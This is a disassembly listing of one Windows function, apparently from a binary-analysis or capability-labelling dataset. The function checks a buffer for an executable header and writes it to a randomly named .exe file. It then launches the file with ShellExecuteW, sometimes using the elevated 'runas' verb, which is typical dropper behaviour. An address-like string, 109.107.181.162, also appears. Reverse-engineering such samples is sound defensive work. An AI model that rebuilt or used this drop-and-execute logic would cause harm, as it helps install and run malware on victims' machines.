Function at 0x140072e60
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x190]
sub rsp, 0x290
mov rax, qword [0x14012ac00]
xor rax, rsp
mov qword [rbp + 0x180], rax
mov r12, rcx
mov qword [rbp - 0x68], rcx
xor r13d, r13d
mov esi, r13d
mov dword [rsp + 0x30], r13d
mov ecx, 4
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
mov eax, dword [rcx + rdx]
cmp dword [0x140131dc8], eax
jle 0x140072ef4
lea rcx, [0x140131dc8]
call fcn.1400a9b00
cmp dword [0x140131dc8], 0xffffffff
jne 0x140072ef4
lea rcx, [0x1400ce800]
call fcn.1400a9eac
nop
lea rcx, [0x140131dc8]
call fcn.1400a9a94
mov rax, qword [r12]
mov r15, r13
test rax, rax
je 0x140072f0c
mov ecx, 0x5a4d
cmp cx, word [rax]
sete r15b
lea r14, str..exe
movzx ebx, byte [rsp + 0x34]
test r15, r15
je 0x140072f41
mov rax, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x140072f2a
mov rax, qword [r14]
cmp qword [r14 + 0x10], 4
jne 0x1400734f0
cmp dword [rax], 0x6578652e
jne 0x1400734f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], 0xf
mov byte [rsp + 0x38], 0
or esi, 1
mov dword [rsp + 0x30], esi
mov edi, 0xc
movabs r13, 0x948b0fcd6e9e0653
lea r12, str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_________._
call fcn.140094094
movsxd rcx, eax
mov rax, r13
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 6
imul rax, rax, 0x51
sub rcx, rax
movzx r9d, byte [rcx + r12]
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
cmp rcx, rdx
jae 0x140072fdf
lea rax, [rcx + 1]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x38]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x38]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140072ff2
movzx r8d, bl
mov edx, 1
lea rcx, [rsp + 0x38]
call fcn.140045610
sub rdi, 1
jne 0x140072f83
mov r12, qword [rbp - 0x68]
xor r13d, r13d
mov rdx, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x14007300c
mov rdx, qword [r14]
mov r8, qword [r14 + 0x10]
lea rcx, [rsp + 0x38]
call fcn.140040c50
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], r13
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or esi, 2
mov dword [rsp + 0x30], esi
lea rax, [rbp - 0x60]
mov qword [rbp + 0x10], rax
lea rax, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
cmova rax, qword [rsp + 0x58]
mov qword [rbp - 0x10], rax
mov rax, qword [rsp + 0x68]
mov qword [rbp - 8], rax
movaps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp], xmm0
lea rdx, [rbp]
lea rcx, [rbp - 0x60]
call fcn.14004bfc0
or esi, 4
mov dword [rsp + 0x30], esi
and esi, 0xfffffffb
mov dword [rsp + 0x30], esi
lea rcx, [rbp - 0x40]
call fcn.140075780
or esi, 8
mov dword [rsp + 0x30], esi
lea r8, [rbp - 0x60]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x48]
call fcn.14002d420
nop
and esi, 0xfffffff7
mov dword [rsp + 0x30], esi
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x140073106
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073101
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140073540
call fcn.1400a9a50
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r13w
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x140073157
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073152
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140073546
call fcn.1400a9a50
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], 7
mov word [rbp - 0x60], r13w
and esi, 0xfffffffd
mov dword [rsp + 0x30], esi
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x1400731ac
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400731a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007354c
call fcn.1400a9a50
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
and esi, 0xfffffffe
mov dword [rsp + 0x30], esi
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x140073203
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400731fe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140073552
call fcn.1400a9a50
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], 0xf
mov byte [rsp + 0x38], 0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x70]
call fcn.1400bd240
lea rdx, [rbp + 0x48]
cmp qword [rbp + 0x60], 7
cmova rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x70]
call fcn.140073a20
nop
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x70], rdi
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x6c], edx
cmp qword [rbp + 0xf8], 0
je 0x140073418
mov rdx, qword [r12]
mov r8, qword [r12 + 8]
sub r8, rdx
lea rcx, [rbp + 0x70]
call fcn.140073850
lea rcx, [rbp + 0x70]
call fcn.140046c80
lea rcx, [rbp + 0x78]
call fcn.140051cc0
test rax, rax
jne 0x1400732db
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rbp + rcx + 0xb8], 0
mov edx, 2
cmovne eax, edx
or eax, dword [rbp + rcx + 0x80]
and eax, 0x17
mov dword [rbp + rcx + 0x80], eax
and eax, dword [rbp + rcx + 0x84]
jne 0x140073558
call fcn.140077330
lea rdx, str.open
test eax, eax
lea rax, str.runas
cmovne rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], r13
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x140073310
lea rcx, [rbp + 0x28]
call fcn.140034b20
nop
lea rdx, [rbp + 0x48]
lea rcx, [rsp + 0x78]
call fcn.140034db0
or esi, 0x10
mov dword [rsp + 0x30], esi
lea r8, [rsp + 0x78]
cmp qword [rbp - 0x70], 7
cmova r8, qword [rsp + 0x78]
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], 7
cmova rdx, qword [rbp + 0x28]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
and esi, 0xffffffef
mov dword [rsp + 0x30], esi
mov rdx, qword [rbp - 0x70]
cmp rdx, 7
jbe 0x1400733b5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400733b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400735a7
call fcn.1400a9a50
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], 7
mov word [rsp + 0x78], r13w
mov rdx, qword [rbp + 0x40]
cmp rdx, 7
jbe 0x140073407
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073402
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140073534
call fcn.1400a9a50
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], 7
mov word [rbp + 0x28], r13w
lea rax, [rbp + 0x118]
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x70], rdi
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x6c], edx
lea rcx, [rbp + 0x78]
call fcn.140051600
nop
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x70], rax
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x6c], edx
lea rax, [rbp + 0x118]
mov qword [rbp + 0x20], rax
lea rax, vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x118], rax
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x118], rax
lea rcx, [rbp + 0x118]
call fcn.1400b7afc
nop
mov rdx, qword [rbp + 0x60]
cmp rdx, 7
jbe 0x1400734df
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400734da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007353a
call fcn.1400a9a50
mov qword [rbp + 0x58], r13
mov qword [rbp + 0x60], 7
mov word [rbp + 0x48], r13w
add r14, 0x20
lea rax, str.109.107.181.162
cmp r14, rax
jne 0x140072f18
mov rcx, qword [rbp + 0x180]
xor rcx, rsp
call fcn.1400a9a30
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14008d658
nop
call fcn.14008d658
nop
call fcn.14008d658
nop
call fcn.14008d658
nop
call fcn.14008d658
nop
call fcn.14008d658
nop
test al, 4
je 0x140073565
lea rbx, str.ios_base::badbit_set
jmp 0x140073579
test dl, al
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp]
call fcn.14002b7e0
mov r8, rax
mov rdx, rbx
lea rcx, [rbp - 0x40]
call fcn.14002c9d0
lea rdx, [0x140128098]
lea rcx, [rbp - 0x40]
call fcn.1400ac058
nop
call fcn.14008d658
int3